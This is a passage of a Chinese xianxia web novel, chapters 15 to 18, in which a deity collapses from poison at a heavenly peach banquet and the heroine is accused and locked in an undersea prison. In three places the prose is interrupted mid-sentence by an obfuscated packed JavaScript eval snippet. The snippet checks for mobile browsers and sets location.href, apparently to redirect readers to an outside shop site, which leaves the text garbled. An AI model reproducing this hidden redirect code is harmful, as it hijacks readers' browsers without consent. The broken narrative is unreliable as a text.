再见时,居然就是今日大殿之上。多年未曾相见的疏离犹如一堵高墙横亘在二人之间,两人相顾无言,倒不像是那么亲密的关系。 慕小闲本来乐呵呵地在看戏,但一听到天帝提起婚事,突然心头浮现一股怅然若失的滋味,那感觉就像是有人要抢走溺水之人寄托希望的浮木一般。 如果华尧成亲了,她的长期饭票不就打水漂了? “华尧上神,你说呢?”天帝转头看向华尧。 白瑶微垂着头,看似不经意,手指却攥紧了衣服一角。 华尧抬眸望了白瑶一眼,镇定答道:“此事非我一人能定夺,还需与青丘另行商定。” 天帝蹙起眉,指尖在宝座的扶手上敲了敲:“这女子看上去好像什么都不会啊。我听说白家有一位远亲名唤晏离,虽然性格冷淡,但仙术高超,还曾教授过白瑶几年。不知他现在在何处?不如就将这位女子送去晏离那里学点东西吧。” 天帝的声音缓慢而沉稳,似是征求华尧的意见,却完全是命令的语气。 华尧眼神一变,抬头看向天帝,说:“不可。” 天帝轻敛了下眉,眉目间露出一丝不悦:“有何不可?” 华尧微一沉吟,语气自然又肯定地说:“此女顽劣非常,怕是会惊扰晏离公子。” 15. 突变 白瑶见华尧神色不对,出声道:“天帝,您有所不知。晏离哥哥是深居简出之人,现在归隐山林,不知去哪儿了,我也好长时间没见过他了呢。” 天帝又问:“难道就没有他的一点消息?” 白瑶轻笑道:“他若是不想让人打扰,自然会有法子避开耳目。” 天帝了然,摆摆手不作多言。华尧与青丘之主白瑶结亲对天庭来说是件天大的好事,天庭、青丘、魔域三地相互制衡多年,一万年前的那场神魔大战,魔域战败后日渐式微,拉拢青丘已是必然,天庭若能捷足先登,那么魔域就永无翻身之日。 然,华尧与白瑶都不是任人宰割的鱼,若能自然而然地进行固然皆大欢喜,只是不稳定因素太多了。例如现在这位...... 天帝的目光溜到慕小闲身上,这是从哪里冒出来的...... 天帝目光看似随意,实际内心思虑营营。华尧似是有感应,抬起头目光对上了天帝,举起酒杯遥敬。 天帝小酌了一口,落下杯盏,细看余下的表演。 表演索然无味,半晌,当他觉得再不做点什么恐怕会当众睡着时,突然出声道:“最近还有什么新鲜事儿?说来给朕听听。” 宴厅末端的某个身穿银甲的神将一路小跑上来,在殿侧单膝跪地抱拳道:“启禀天帝,前几日忽闻青丘出现异象,臣等派人联系青丘查看,发现凤钰的封印不知被何人破解,逃犯凤钰不知所踪。” 慕小闲正津津有味地啃着骨头,听到凤钰的名字手上一抖,侧头遥遥望了眼身着彩云舞裙立在殿外的小仙女凤钰。凤钰隔着仙群朝她弯了弯笑眼,刹那间眼波流转,宛若绽开的芳华。 她又扭头看向身旁的华尧,见华尧正经危坐,一派波澜不惊的模样,仿佛并未听见这位神将口中的话一般。 天帝皱了下眉头,本来随意斜靠着的身体渐渐端坐起来:“当初是谁设下的封印?” 席间一位不算起眼的神官起身,冲天帝作揖,朗声道:“回天帝,是微臣。”他身穿深色暗纹衣袍,头发高高束起,看上去是青年模样,但身上却有一种中年人的稳健气质,举手投足之间不紧不慢,说话文邹邹的。 “嗯......符鸣,有谁能解开天庭上神的封印?”天帝的语调缓慢,略带思忖道。 符鸣上神作揖的手明显顿了一下,垂首说:“恕臣不知。” 天帝对这个答案显然不满意,他杵在椅子上的手骨发白,仿佛使了很大力气。“当年凤钰和魔族暗中勾结,在神魔大战后盗走天庭法宝。朕下令将他封印,还有仙家持反对意见。现在他以一己之力冲破封印,也没回天庭通报,怕是依旧不知悔改......念他是上古神兽,若是能将宝物完好无损的归还,也就罢了。若是没有......” 他说这话时,殿外的凤钰敛去了往日的嬉皮笑脸,一张面无表情的脸上,灿若桃花的眼眸流露出不易察觉的憎恶神情。 跪在前面的神将目光微怔,犹豫再三又重复了一下重要信息:“天帝,凤钰的封印......好像是其他人破解的,不过尚不知道是何人做的,臣还在带人追查。” 天帝眼里惊现寒光,殿内一时无人敢再说话,静止得好像一根针落在云端都能被感知到。 凤钰的封印是出自天庭上神符鸣之手,若说在沉寂了数千年后被上古神兽破解,并非不可能,但若是被旁的什么仙妖鬼怪破解,那可就不好看了。 “符鸣。”天帝幽幽看向符鸣。 符鸣抱拳道:“臣在。” “朕命你前去追查凤钰解除封印一事,一定要将宝物带回!千万不能落入魔族手中!” “臣领命。”符鸣的声音铿锵有力,回荡在大殿上空。 这几句话信息量有点大。慕小闲被“与魔族勾结”“盗走天庭法宝”“封印两万年”一系列凤钰的黑历史惊着了。难怪他会被封印,原来是和魔族有关联。 她这几天到底是和什么样的人共处一室?这些事情华尧不可能不知道,他为什么没有反应? 慕小闲有些食不下咽,放下手中的骨头,抓起桌上的手绢随意搓了搓,忍不住偷偷向华尧使眼色:“你知道这件事吗?” 华尧垂眸点点头。 慕小闲琢磨不透他们到底想干什么。 正所谓最危险的地方就是最安全的地方,凤钰就在大殿之上居然无人察觉,谁也没想到这位上古神兽居然是个女装大佬。 天帝朝身侧的仙侍吩咐几句,仙侍上前一步扯着嗓子冲着殿内说:“上蟠桃——” 重头戏来了。 几个身着锦衣纱帛的仙女端着蟠桃从殿外飘进来,落在殿内各处,将盘中的蟠桃分发给大殿前几排的诸位神仙,后排的神仙只能伸长脖子看个影儿闻闻气味。 小仙女分给华尧一整个,足以看出华尧身份尊贵。慕小闲好奇地看着蟠桃,个头饱满,外皮粉嫩有光泽,一步开外都能闻到清新入骨的气味。 天帝气势十足地沉声道:“今日乃春桃盛宴,请诸位仙家一同品鉴天庭蟠桃。” 众神官异口同声:“谢天帝。” 在慕小闲殷切的注视下,华尧拿起蟠桃说:“你的体质吃了会坏肚子。” 慕小闲:?能多活几年谁还怕坏肚子啊? 她眼睁睁地看着华尧将桃子薄薄一层皮撕开,露出粉嫩饱满的果肉,用一只银质小勺轻轻挖了一小块,晶莹的汁水从缺口处溢出。桃子的芳香更浓了。 “好吃吗?”慕小闲眼巴巴地望着。 “当然......”华尧挑了下眉头。 四周的神官陆续拿到应得的分量,开始了这场隆重的品桃大会。一时间,桃子甜美的气息像是撩人的粉色的氤氲缠绕在神官们周围。 神官纷纷议论起来: “唉,你别说,这蟠桃真是又甜水分又多,冰过之后含在口里神清气爽。” “是啊,往年只有一小口,都没尝出个味儿。这次终于有半个了。嘿嘿,可真甜。” “你往后再接再厉,再过几万年就能有一整个了。” “唉,不敢不敢......半个我都很知足了,你看华尧上神也只得一个。” “愿望还是要有的......” 又听见另一头有仙女问道:“世人皆称蟠桃能延年益寿、增加仙力,可是真的?” 慕小闲眼眸一动,悄悄将耳朵伸了过去。 “哪有那么神奇。若真是吃一个就能飞升上天、长生不老,那我们修炼有何用?不如都改去种桃树了。不过这桃子吃了美容养颜倒是真的,你看那位高权重的几位是不是格外好看?” 仙女轻笑道:“还有这等奇效?” 不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137679|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟠桃有没有特殊功效,尝一口总是不过分的。眼看着华尧一口一口将桃子分而吞下,慕小闲“呜”地一声趴在案几,仿佛心痛得无法呼吸。 “不给桃子吃还带我来作甚?”慕小闲咬着嘴唇呜咽道。 华尧用帕子轻拭唇角,刚要回答她,忽然眉头一皱,眼中疾掠过一抹异样的神色,胸膛剧烈起伏几下,不一会儿额头渗出了细密的汗珠。 他手上的尚未吃完的小半个桃子,从案几上滚了下来,滚到了案几前方,引起了周围几位神仙的关注。 “怎么,你又要爆炸了?”慕小闲不知哪里得罪了他,赶紧从案几上爬起来。 华尧撑着身体没说话,低头皱着眉,急促地喘着气,喉咙发出沙哑的呼吸声。他紧闭双眼盘腿打坐,眉眼之间是从未见过的焦躁,粗重的呼吸声越来越急促,喘息声越来越大。汗珠从光洁的额间颗颗滚落下来,那件用金线绣了白虎的广袖长袍已然湿了大半。 众神仙的目光纷纷被吸引过来,议论声戛然而止。天帝的目光也落在华尧的身上,探出了身体。 一缕盘旋的黑气缠绕在华尧的周身,再睁开眼时,他的双目变得赤红狰狞,狠狠咬着牙关,头发衣袍尽湿,撕裂的呼吸声卡在喉咙之中,仿佛一只在奋力挣扎的野兽。 天帝看出不对劲儿了,从宝座上站起来询问道:“华尧上神?出什么事了?” 谁也不知道发生了什么。 华尧突然挺起身打向自己胸口几个大穴,猛地吐了一口粘稠的鲜血,点点红梅落在案几上,将帕子染红了大半。 慕小闲避让不及,沾了一身血腥,吓得不敢妄动。 华尧的眼皮如同灌了铅一般下坠,眼前模糊又浑浊,无法看清眼前的景物。大殿之上明明噤若寒蝉,却有持续不断的轰鸣与拉锯声灌入他的脑海。剧痛让他瞳孔骤然紧缩,再也坚持不住向后一仰,彻底昏死过去。 整个人如一座大山轰然倒塌。 变故突如其来,在场的神仙都恍然如梦,大殿上很长一段时间依旧保持着寂静无声。 白瑶最先反应过来,一袭白裙从大殿高位扑过来,不顾沾上斑斑血迹,凑到华尧跟前摇了摇他的身体:“华尧?你怎么了?华尧,醒一醒。” 华尧紧锁着眉头不省人事。 白瑶倒吸一口冷气缓缓抬头,怔然地看了慕小闲一眼,嘴唇轻颤,神色中有些难以置信。随着她震惊的目光而来的,是更多探究的视线,暗中打量着慕小闲。 慕小闲恍然看了看四周,心里狠狠一揪,感觉大事不妙。 世上最不缺的就是吃瓜不嫌事大的围观群众,不知道出了什么事,总之先吃就对了。众神官都站起身伸长脖子张望,后排不明所以的神官也挤入殿中。 周遭各种异样的目光审视着慕小闲,她扭头找寻凤钰的身影,但大殿里人头攒动、神色各异,神官之中根本没有熟悉的身影。 她仿佛被一片黑压压的阴影包围,只有她一人身后是白色的倒影。 “到底发生什么了?”天帝落在华尧身边一看勃然大怒,眼里压着一片火苗,带着压迫感扫了一圈在场的神官,让人感到战战兢兢。 白瑶敛眉看了一眼慕小闲,再低头看看华尧:“他中毒了。是枯血草。” 她清润的声音就像一颗投入深海的石子,咕咚一声砸进慕小闲的心里。 16. 争辩 慕小闲不敢相信短短几分钟她就从“开心地蹭吃蹭喝”来到“凶手就是你”的指认现场,而且她还是那个被指认的。 华尧不是号称攻无不胜战无不克的上神吗?怎么这么容易就倒下了? 天帝紧锁着眉低头深思,一双深沉的眼睛看似不经意实则牢牢锁定在慕小闲的身上。他沉重的气场像是重重枷锁,将殿内的气氛一点一点拽下深渊。 周遭议论的声音如夏日蝉鸣嗡嗡不绝,终于有个清晰的声音从众神官中传出:“枯血草不是生长在青丘境内吗?” 慕小闲闻声看向守在华尧身侧的白瑶,难怪她一看便知。 白瑶站起身,向天帝作揖:“禀天帝,枯血草确实是青丘境内产物。但这毒物野生野长,只要有心,任何仙人都有可能找到。” 天帝点点头:“我听说过。但华尧上神为何会突然中这种毒?他这段时间去过青丘吗?” 慕小闲眼神出现了瞬间慌乱,她知道华尧为了找她曾经去过青丘。但在这种场合下,她应该如何回答? 时间点太微妙了。 华尧无事不会前往青丘。如果他承认去过,就会让人自然而然地联想到近日凤钰破除封印的事。毕竟能够破解符鸣上神封印的人,很有可能也是一位上神。 这样一来,华尧、凤钰和她可能都会被推上风口浪尖,谁也不知道接下来会发生什么。如果华尧没去过,刚才离华尧最近的自己就是最有可能下毒的嫌疑人,因为她来历不明,这些天又和华尧来往甚密。 慕小闲心如擂鼓,但面上故作镇定道:“我不知道。”她在各位神官眼中只是一位仙侍,华尧上神的行踪,也未必会让她知道。 白瑶并不深究于她,清俊的面容上写满了焦急和心疼:“天帝,枯血草毒性蔓延极快。刚才华尧昏迷前只是封住了几个大穴,不是长久之计。可否让我先回青丘取药?还请天帝先派神官照看一下华尧。” 天帝:“可。” 白瑶立刻甩袖从殿内飞了出去。后排的神官隔得太远不明所以,只感觉头顶突然刮了一道强劲的风,带走了一些本来就稀疏的毛发。 一旁的符鸣上神上前几步,欲言又止:“天帝,她……” 天帝摆摆手:“先让她去。” 此时,一个老头背着药箱颤巍巍地从神官之中挤出来,瞅了瞅华尧倒地不起的身子,掐着他下巴迫使他张口,低头向他口中塞进去一粒药丸。再抬起他的眼皮看看,倒吸一口寒气,最后搭上了华尧的手腕,蹙眉诊脉。 天帝:“太上老君有何高见?” 太上老君捋了捋胡子,皱着眉说:“这枯血草虽是天界数一数二的毒物,但以华尧上神的修为本不应该严重到失去意识。不过华尧上神现在体内阴阳失衡,有一股阴柔的魔气与他自身阳刚之气相冲,让他经脉不畅啊。” 殿内又是一片哗然。华尧上神怎么会沾染魔气? 众神的目光兜兜转转又落回了慕小闲的身上。 华尧上神一直独居,平时一副生人勿进的样子,关系亲近的人少之又少。这段时间一直待在他身边的这位尤其可疑? 这个散仙说是从凡间飞升上来的,谁知道会不会是魔域派来的细作?这里面的水有多深就不言而喻了。 众神神色迥异,眼珠子四处乱瞟,心里打着不同的小算盘。 慕小闲哪里知道他们的心思,只觉得一波未平一波又起,这连环套可真是没给她留任何余地。魔气又是什么?这个华尧没有教啊! 天帝凝眉向她看来,目光没有带着先入为主的异色,反而透出一丝平和睿智,但慕小闲浑身上下就像被看了个透彻一样。一股寒气从她的脚底凝聚,然后蔓延上来,从尾椎一路漫过头顶。 “诶,你身上好像有魔气......嗯,不对。有青丘的妖气......诶?还有天庭的仙气、凡间的人气,你身上的气味太杂了怎么什么都有?奇怪奇怪!你这个小娃娃到底是从哪里来的?”太上老君疑惑地围着慕小闲团团转,无疑给她的来历又多添了几分奇幻色彩。 “魔气?”几步开外的符鸣上神突然出声,眼神忽然变得犀利。 天帝余光瞥了他一眼,对慕小闲问道:“为什么你身上会有魔气和妖气?” 慕小闲决定死不承认:“我真的不知道。华尧上神独来独往,行踪无需跟我报备。我刚升天不久,也不知道你们所说的魔气、妖气究竟是什么。” “司命星君呢?”天帝望向众神。 众神中挤出一个梳着白玉冠的少年向天帝作揖:“臣在。” “你可有好好查查她的来历?” 司命星君俨然一副十七八岁的少年模样,脸上稚气未退,脸蛋还有一点儿婴儿肥。他头戴莲花玉冠,两鬓各留有一股穿金珠的须发,身着青茶色的长袍,上面缀着墨绿色如意纹样饰。这一身整肃服饰,衬得他气质颇为老成,而他此时严正的神态也与长相有些违和。 司命星君沉稳答道:“此女突然飞升乃天降异数,但她飞升之日臣已查过命簿,她自魂魄诞生几百年来确实是凡人无误。” 慕小闲默默松了口气。司命星君曾让长庚星君过来救她,应该不会故意为难她。 “这可就怪了。”太上老君皱着眉头喃喃,眼珠子都快粘在慕小闲身上了。“嗯,到底谁有本事给华尧上神下毒?” 这句好像刺激到了在场的某些神官,就听到有声音忿忿不平的从神官中传来:“她一直在华尧上神身边,身上又有魔气,不是她还能是谁?” “就是,我们这些神仙都多少年的交情了,只有她这个新来的有可能对上神不利。” “听说前段时间她去天街,还惹得麒麟神兽发狂了,说不定就是她干的。” 慕小闲赶紧否认三联:“我不是我没有你们别乱说啊。魔气是什么我都不知道,我要是真和魔域有勾结,华尧为什么要让我留在身边?司命星君也说检查过我的来历没有问题。我没做过的事,就算是神仙也不能给我泼脏水!” 符鸣皱了下眉头,似乎想到了更加恶劣的事情,面色愈发不好看:“你身上为何有妖气?你......莫不是去过青丘?” 这个话题在慕小闲看来转得极为生硬,但在神官耳中却不无道理。慕小闲到底还是没有经验,就在她迟疑的几秒间,殿上紧绷的气氛愈加诡异。 “我只在凡间的话本里听过青丘的名字呢。”慕小闲说道。 “派人查查她有没有去过青丘。”天帝道。 慕小闲心里暗叫不好,她忘了天庭虽然没有监控摄像头,但是他们会仙术,说不定真能查出她的踪迹。 果不其然,又有两名神官出来禀报:“土地公公前来作证,曾经将她带到了青丘,后来华尧上神也追过去了。那天......正是凤钰的封印解除的那一天。” 天帝再看向她时,神情未变,眼中已是锋利如刀。那冷酷的目光甫一看来,顿时叫慕小闲眼眶酸涩,心如擂鼓。她强装镇定道:“那是土地公公不小心将我送错了地方,那里也没有立着牌子写上青丘二字,我怎么知道是哪里。” 符鸣并不相信,他阴沉着脸,眼睛死死锁在慕小闲的脸上,生怕错过任何破绽:“既是如此,你为何隐瞒去过青丘?你在青丘见了何人、做了何事,为何不敢让人知晓?莫非是你心里有鬼?难道是你解开了凤钰的封印?”说完,他自己都吃了一惊。但华尧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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符鸣被这句话气得不轻,他波澜不惊的面容上出现了一丝龟裂,他再次向天帝作揖:“天帝,此事过于蹊跷,此女身分不明,信口雌黄难逃干系。臣请命,将此女压入北溟海极,等华尧苏醒,择日再审。” 慕小闲睁大眼睛瞪向符鸣:“从刚才开始你就在针对我,你和华尧是什么关系?” 众神官中传来叽叽喳喳的声音:“她怎么这么跟符鸣上神说话”“没规矩”“到底谁在跳脚”“太放肆了” 某位神官喊了一嗓子:“符鸣上神可是华尧上神的兄弟,他们相识多年,还曾在战场上并肩作战!他怎么可能会害华尧上神!” 立刻有仙附和:“对啊对啊,他一定是太着急了才会这样!” “把这个魔女快点关起来!” “还华尧上神一个公道!” 慕小闲脸色越发不好看,在众仙的讨伐声中,慌神道:“事情还未搞清楚之前,为什么不能让我留在鎏华殿中,我没有仙力哪里也去不了。” 符鸣不依不饶:“天帝,臣以为若是放她回去,恐怕会消灭证据,还是送入北溟海极关押为好。” 见状,天帝思索了半晌,干脆顺水推舟说:“你说的有理,此事多有蹊跷。将她押下去先关起来。” “啊?”神官中传出一声惊呼。天帝循声望去,人群立刻分开露出了长庚星君躲闪的眼神和皱巴巴的脸。好歹之前他救过慕小闲,下意识觉得这件事情不是她做的。 “你有意见?”天帝沉声问。 “啊......没有没有。”他哪儿敢有意见哟。 几个身着银色盔甲的天兵天将应声从天而降,一道绳索将慕小闲的双臂紧紧锁住,将她拎起带走。慕小闲挣扎无果,愤愤地盯着符鸣,倔强道:“你给我等着!” 17. 北溟海极 天兵天将将捆成一团的慕小闲带到北溟之上。 海面一望无际,遥遥浮现出一轮巨大的漩涡,海水如同瀑布一般向漩涡中心奔流而下,深不可测。哗哗水声声势浩大,震耳欲聋。 慕小闲吓得心脏都快停止跳动了。 “大哥,大哥我有深海恐惧,深海恐惧你懂吗?能换个地方吗?” 天兵大哥面无表情地挪了下眼珠,十分绝情地说:“不能。”然后带着慕小闲从瀑布边缘飞速坠落,她的尖叫声还未发出,身体又陡然一停,停在一个巨大的透明罩前。 北溟海极是位于天庭以北茫茫大海中的一座海底孤岛,岛上笼罩着一层弧形的结界,像一层密不透风的屏障。 随着天兵天将一挥手,屏障上闪过一道熹微的光,陡然消失在眼前,慕小闲冷不丁被天兵天将推了进去。 北溟海极上坐落着数个独立的小隔间,房门是一扇扇坚固厚重的黑色玄铁门,裹挟着一股阴暗沉重的气息,就像是关押囚犯的牢房。虽然走近时屋内悄无声息,但能明显感觉到隔间里面有东西在注视着他们。 她往其中一间看去,里面漆黑一片,闪烁着几点幽幽绿光,像饿狼的眼睛,细听还有野兽般粗重的喘息声。 天兵天将打开隔壁房门,冷声道:“进去。” 这是北溟海极最靠里头的一间,慕小闲刚被推进去,就听到身后咔的一声,厚重的玄铁门锁上了,也将光线隔绝在外。 屋内十分昏暗,慕小闲站在门口就着隐隐的光亮向内看,看不清里面究竟是什么样。 隔壁房间突然传来剧烈的“嗬嗬”声,墙壁和地面随之震动。 “安静点!”尚未走远的天兵天将一声爆喝!将戟重重地砸在隔壁牢房的门上,隔壁幽幽地收了声。 天兵天将的脚步声远去。 如瀑的海水渐渐收拢,一层一层漫上屏障,阻隔了海上的阳光,将这座幽暗的海底小岛彻底淹没在茫茫沧海之中。 这里到底是什么地方?慕小闲眯着眼睛往里看。 “是个女孩子诶……” “嘘!” 黑暗的深处传来细小的声音。 “你们是什么人?”慕小闲浑身绷紧,警惕地盯着黑暗深处。 “你又是什么人?”黑暗深处传来一个怯生生的声音。 “你犯了什么罪被关在这里?”另一个稍大一点的声音传来,声音有点稚嫩。 慕小闲不知对方是何底细,不敢贸然回答,思忖片刻,小心翼翼地说道:“我在春桃宴上被神官诬陷,据理力争无果,所以被关了进来。” “春桃宴?你是神官?”一个声音紧张地问。 “不算,我是神官的仙侍。” “居然敢在天后的春桃宴闹事!上一个在春桃宴闹事的可是在被压在五行山下五百年!” 慕小闲脑海里灵光一现:“你说的是齐天大圣吗?” 天庭的春桃宴或许就是西游记之中王母娘娘的蟠桃宴,在西游记中,蟠桃宴可是好多事件的源头,孙悟空、猪八戒、沙僧都是在蟠桃宴上闯了大祸之后,开始了他们辛酸的人间历程。 果然历史总是惊人的相似,天庭的盛宴决不能随便参加。 “你也知道大圣?”隔壁突然传来一个雄厚的声音,原来这只野兽会说人话。 “当然知道!”慕小闲眼睛一亮:“花果山水帘洞齐天大圣孙悟空,有金刚不坏之躯、火眼金睛,一个跟头能翻十万八千里!大闹天宫,将十万天兵天将、四大天王、二十八星宿打得落花流水!” “你也喜欢大圣?”黑暗中的声音又提高不少。 “你也?”慕小闲挑挑眉。 “啪”地一声,黑暗中点亮了一盏吊式炷台,烛光照亮了黑暗中三张脸,两男一女,模样约莫凡人十五、六岁的样子,个头与慕小闲差不多,皆衣着简陋,有些灰头土脸。 慕小闲这才看清了这间房间的配置,三面灰白的墙围着一张简单的小桌,除此之外一无所有。 三个半大不大的孩子挤在一起,睁着眼睛好奇地打量着慕小闲。看到眼前的几张稚嫩、青涩的面孔,她稍微放松了警惕。 “我叫慕小闲,是个刚飞升上天的散仙。为了保证这间屋子内部的和谐稳定,你们也自我介绍一下吧?”慕小闲眼睛从三人身上划过,示意他们自报家门。 三人互相看看,其中一个长相端正,身着灰褐色粗布短褐,看起来成熟一点的男孩:“我......我叫武凌,我原本也是个散仙。” “为什么被关进来?”慕小闲问道。 男孩子有些迟疑,敛眉挪开眼神,唯唯诺诺地说:“我偷了太上老君的炼丹炉......” 慕小闲:“偷炼丹炉做什么?” 他又突然直直看过来,懊悔地说:“我本来想偷仙丹的!但是没找到!我听说吃了仙丹就能增进几万年修为,变得仙力强大,能像符鸣上神一样上战场抛头颅洒热血!抵御魔族为天庭争光!” 慕小闲现在不能听见符鸣这个名字,一听心里就抽抽,面色沉了下来:“有志气是不错,但天庭现在太平着呢,别一天到晚想着打打杀杀。” 另一个男孩拉着身旁扎着麻花辫的小姑娘说:“我是云魁,这是我妹妹云姬。她是天后娘娘的侍童,不小心摘了天后娘娘后花园的荷花被降罪。我是来陪她的。”两个孩子长得有几分相似,都是瓜子脸尖下巴。 “在天庭摘花的后果这么严重?”慕小闲吃了一惊,没想到天庭在爱护花草这方面如此严格。 “天后娘娘的荷花池培育的是品相极好的荷花,精心挑选栽培了上千年,有些荷花吸收日月精华产生了灵性,都快要化为人形了。断人仙路如杀人父母,还有一大群天天照料荷花池的小仙女等着去天后面前邀功,必然不会放过她。”武凌解释道。 “我不是故意的,是有位仙女姐姐说那只荷花已经不行了,要快点移除,不然要是腐烂了,整个池子的荷花都保不住。我才......”云姬在旁边皱着眉头直跺脚。云魁赶紧拍拍她的肩膀:“没事,这不怪你。” 云魁转过头对慕小闲说:“我妹妹生性单纯,或许其中有什么误会,但天后并不听我们解释。” 几人的情况慕小闲略微了解,她瞟了一眼隔壁的墙面问:“隔壁是什么东西?” “狒狒不是什么东西!狒狒爷爷的爷爷的爷爷曾是花果山的小猴几!”隔壁浑厚的声音传来。 慕小闲转过头震惊地看向隔壁:“你是只猴子?”但刚才她路过时看到的绿光和听见的喘息声,明明像是体型庞大的野兽。 “等一下,你是只猴子为什么叫狒狒?你不要骗我,这点生物常识我还是有的。” “......” 隔壁好像认真思考了很久,最后十分肯定地传来:“狒狒是猴几。” 好吧,狒狒可能只是他的名字。 “狒狒你为什么会被关进来?” “狒狒布几岛!”呃......慕小闲看向三个孩子:“他平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137681|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话就是这个口音吗?” 三个孩子一齐点点头。 还好还好,这里关押的好像并不是罪大恶极之人。 慕小闲问:“你们都是什么时候被关进来的?” 武凌摇摇头:“不记得了,可能有二十来年了。” 什么??你偷个炉子要关上二十年? “云魁和云姬是在我之后来的,也有好些年了吧?” 云魁和云姬点点头,云魁解释:“快十年了。这里的时间走得比外面快一些,具体过了多久就不知道了。” “最早来的是武凌?” “是狒狒!”隔壁传来狒狒兴奋的叫声。 武凌点点头:“我来的时候,狒狒就在了。” 慕小闲若有所思道:“狒狒你说你是花果山的猴子,你见过齐天大圣吗?” “大圣现在是斗战胜佛,没有住在花果山。呜呜,狒狒好想见大圣啊!呜呜......”狒狒陷入了某种悲伤的情绪,呜咽的声音和他巨大的体型反差极大。 慕小闲还想安慰他几句,就听见隔了好几道墙的远处传来尖利刺耳的一声:“闭嘴!吵死了!”如同晴空中突兀地暴出一声惊雷,劈开看似安稳祥和的海面。 狒狒立刻禁声,连刚开始的粗喘都变的压抑。三个孩子立刻熄了蜡烛,警惕地把慕小闲拉到屋子最角落的地方,睁大眼睛神情紧张地盯着门口。 云魁把云姬挡在身后,站在所有人的前面,双手紧紧握拳。莹莹微光之中,他眉头紧锁,下颚线到肩膀,再到脊椎都绷得僵直。 “是鲛人。”半晌,武凌压着声音说,声音里有些忿忿不平。 慕小闲不解地看着他。 “是个在北溟海极胡作非为的恶人。” 直到外面安静下来,几个孩子才幽幽松了一口气。 “最外间关着一个鲛人,他在我来之前就被关进来了。听说他在海上截杀了一船足足十八位仙人。”武凌轻声说:“他进来之后一点儿也没有反省,反而欺压这里其他的囚犯,以制造恐怖与混乱为乐。也......杀了不少人。” 慕小闲听的胆战心惊:“这样凶残的人只是被关在这里?难道就没受到更重的惩罚?” 武凌和云魁互相对望一眼,不知道枪毙是什么,有些难以启齿地说:“鲛人是海上霸主,他走通天庭神官留在了北溟海极,因为这里关押的囚犯比较弱。” 慕小闲惊呆:“如此欺软怕硬,天庭不管吗?” 云魁摇摇头:“根本没人管,平日无人守在这里,就算真出事了他也会抵赖。” 云姬眼睛红了,一边抠着手指一边说:“我们刚来的时候被他教训了一顿,哥哥为了保护我,还受了好重的伤。” 云魁搂着她按住她的手,安慰道:“已经好了,都过去了。” 这种恶人难道就没人能治他? “狒狒也打不过吗?” 隔壁传来狒狒细小的抽泣声:“狒狒打不过。狒狒丢了大圣的脸。狒狒是个废狒狒。” 看来这里并不太平,慕小闲正思索着如何才能安全等到华尧救援,余光处,忽然飘过一个幻影,她以为是海中的浮游生物。 “这么大的水母还是第一次见。”慕小闲喃喃道。 待她定睛一看,一条细长的、通体透明的东西在海中幽幽漂浮,穿过结界从他们门前飘过。 “那是什么?”慕小闲的脸色变得惨白,她颤抖着指向门外,不确定地问:“深海幽......幽灵?” 18. 生存危机 “巨型水母”在北溟海极结界的上空飘忽不定,慕小闲躲到武凌身后:“是幽灵对吧?” 武凌淡定地说:“那是个残缺的魂魄。一般人都有三魂七魄,魂魄不全不能轮回,所以他一直在这里游荡。好像因为魂魄残缺不全的关系,脑子也不太清醒,没办法和别人交流。不过,幽灵是什么?” “和你说的差不多。”魂魄在海底乱飘就算了还是个残缺的,该不会是哪个囚犯的...... 那抹残魂在外面转了一圈,就听到远处传来粗鲁又刺耳的声音,扯着嗓子肆无忌惮地嘲笑着:“你又来了!是不是无人祭奠无家可归啊哈哈哈哈哈哈哈真可怜。” 慕小闲头皮发麻地看着旁边身体又开始僵硬的几人:“又是鲛人?” 云魁抿着嘴唇点点头,眼里露出厌恶的神情。 慕小闲突然对这个漂泊的残魂有了怜悯之心。 门外,结界的表层突然闪起了红光,像一团火焰将昏暗的结界内部点亮。 慕小闲困惑地看向武凌,武凌说:“是放风时间到了。我们要小心点。” 武凌上前推开门,云魁带着云姬紧跟在后面,慕小闲跟在他们身后。 “多久会有一次放风?”深海之中无法知道日升日落,如果知道放风的间隔就可以计算时间了。 “有时是五天,有时是七天。结界会抽风,所以时间并不一定。”武凌走在前面说道。 屏障内为一块半个操场大的腹地,附近一处荧光珊瑚山是这个结界之中主要的光源。 屏障外是狭窄的深海景观,五颜六色的鱼群汇成一条冗长的缎带从结界上空划过,留下一串细密的泡沫。 翠绿的海藻大片大片铺在结界周围,层层叠叠的五色珊瑚簇拥在外,白的、青的、蓝的、紫的、红的,一朵一朵像一颗颗繁茂充盈的小树苗,有几尾鲜艳的鱼苗躲藏在珊瑚间随着水波轻轻摇着尾巴。 再往远处望去,是一片仄逼的黑暗,像是随时都会向他们涌来。 “啊!狒狒都要闷死了!” 慕小闲右边突然出现一个庞然大物,约莫有两三层楼高,一出现就将本就微弱的光线掩去了大半。狒狒长得不像纯种金丝猴,倒真有点狒狒的影子。 慕小闲打量了几圈得出了一个结论:他可能是个混血。 